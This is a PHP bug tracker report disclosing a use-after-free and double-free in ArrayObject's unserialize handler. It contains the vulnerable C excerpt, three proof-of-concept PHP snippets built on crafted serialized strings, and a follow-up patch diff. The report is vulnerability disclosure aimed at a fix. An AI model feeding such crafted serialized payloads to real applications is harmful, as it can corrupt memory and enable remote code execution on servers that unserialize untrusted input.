|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-07-29 13:28 UTC] taoguangchen at icloud dot com
Description:
------------
```
if (*p!= 'x' || *++p != ':') {
goto outexcept;
}
++p;
ALLOC_INIT_ZVAL(pflags);
if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
zval_ptr_dtor(&pflags);
goto outexcept;
}
--p; /* for ';' */
flags = Z_LVAL_P(pflags);
zval_ptr_dtor(&pflags); ===> free memory
...
if (*p!='m') {
if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
goto outexcept;
}
intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
zval_ptr_dtor(&intern->array);
ALLOC_INIT_ZVAL(intern->array);
if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) { ===> use freed memory and double-free it via crafted serialized string.
goto outexcept;
}
}
...
if (*p!= 'm' || *++p != ':') {
goto outexcept;
}
++p;
ALLOC_INIT_ZVAL(pmembers);
if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) { ===> control and use freed memory via R: or r:
zval_ptr_dtor(&pmembers);
goto outexcept;
}
```
&pflags was be freed, but we can use that already freed memory and double-free it via crafted serialized string. ex: DateInterval::__wakeup() and other objects.
so we can control and use that doubles freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC1:
```
$inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
```
PoC2:
```
class test
{
var $ryat;
function __wakeup()
{
$this->ryat = 'ryat';
}
}
$inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Oct 29 23:00:01 2025 UTC |
this bug can be easily exploited, like this: ``` $inner = 'x:i:1;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ```update a new patch for fix another UaF (test on 5.4 series): diff --git a/php-5.4.43/spl_array.c b/php-5.4.43-fixed/spl_array.c index ec9ce21..78d5370 100644 --- a/php-5.4.43/spl_array.c +++ b/php-5.4.43-fixed/spl_array.c @@ -1777,6 +1777,8 @@ SPL_METHOD(Array, unserialize) zval_ptr_dtor(&pflags); goto outexcept; } + + var_push_dtor(&var_hash, &pflags); --p; /* for ';' */ flags = Z_LVAL_P(pflags); @@ -1819,6 +1821,8 @@ SPL_METHOD(Array, unserialize) zval_ptr_dtor(&pmembers); goto outexcept; } + + var_push_dtor(&var_hash, &pmembers); /* copy members */ if (!intern->std.properties) {